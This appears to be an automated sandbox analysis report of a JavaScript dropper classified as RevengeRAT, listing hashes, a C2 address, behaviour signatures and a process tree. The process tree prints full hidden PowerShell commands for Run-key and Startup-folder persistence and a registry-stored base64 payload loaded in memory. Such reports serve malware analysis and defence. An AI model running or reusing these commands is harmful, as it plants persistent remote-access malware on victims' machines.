Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-10-2024 01:17

General

  • Target

    213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js

  • Size

    60KB

  • MD5

    14e68a45361bb287393747ce2b271838

  • SHA1

    16144ac8dc7ecc27e4667a3241da8810f8b84778

  • SHA256

    213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

  • SHA512

    1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

  • SSDEEP

    768:tvRmozOfNAG9lUAy1NgRXbkDvAAdkqC9m3ppOJlPcLNdpgF3hFAto:94oifpTq1NxAAiqC9mZpk8NdpW3hF2o

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

54.146.241.16:5222

Mutex

f9796de67e

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:744
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'));wscript 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2524
      • C:\Windows\system32\wscript.exe
        "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1180
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js' -PropertyType String -Force;"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1544
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'))"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3872
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2936

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

    Filesize

    53KB

    MD5

    a26df49623eff12a70a93f649776dab7

    SHA1

    efb53bd0df3ac34bd119adf8788127ad57e53803

    SHA256

    4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

    SHA512

    e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5qex5bcb.vv0.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js

    Filesize

    60KB

    MD5

    14e68a45361bb287393747ce2b271838

    SHA1

    16144ac8dc7ecc27e4667a3241da8810f8b84778

    SHA256

    213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

    SHA512

    1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

  • memory/2524-0-0x00007FF9158F3000-0x00007FF9158F5000-memory.dmp

    Filesize

    8KB

  • memory/2524-1-0x000001FFB0340000-0x000001FFB0362000-memory.dmp

    Filesize

    136KB

  • memory/2524-11-0x00007FF9158F0000-0x00007FF9163B1000-memory.dmp

    Filesize

    10.8MB

  • memory/2524-12-0x00007FF9158F0000-0x00007FF9163B1000-memory.dmp

    Filesize

    10.8MB

  • memory/2524-13-0x000001FFB0850000-0x000001FFB0894000-memory.dmp

    Filesize

    272KB

  • memory/2524-16-0x000001FFB0920000-0x000001FFB0996000-memory.dmp

    Filesize

    472KB

  • memory/2524-46-0x00007FF9158F3000-0x00007FF9158F5000-memory.dmp

    Filesize

    8KB

  • memory/2524-47-0x00007FF9158F0000-0x00007FF9163B1000-memory.dmp

    Filesize

    10.8MB

  • memory/2936-44-0x000002704F520000-0x000002704F52A000-memory.dmp

    Filesize

    40KB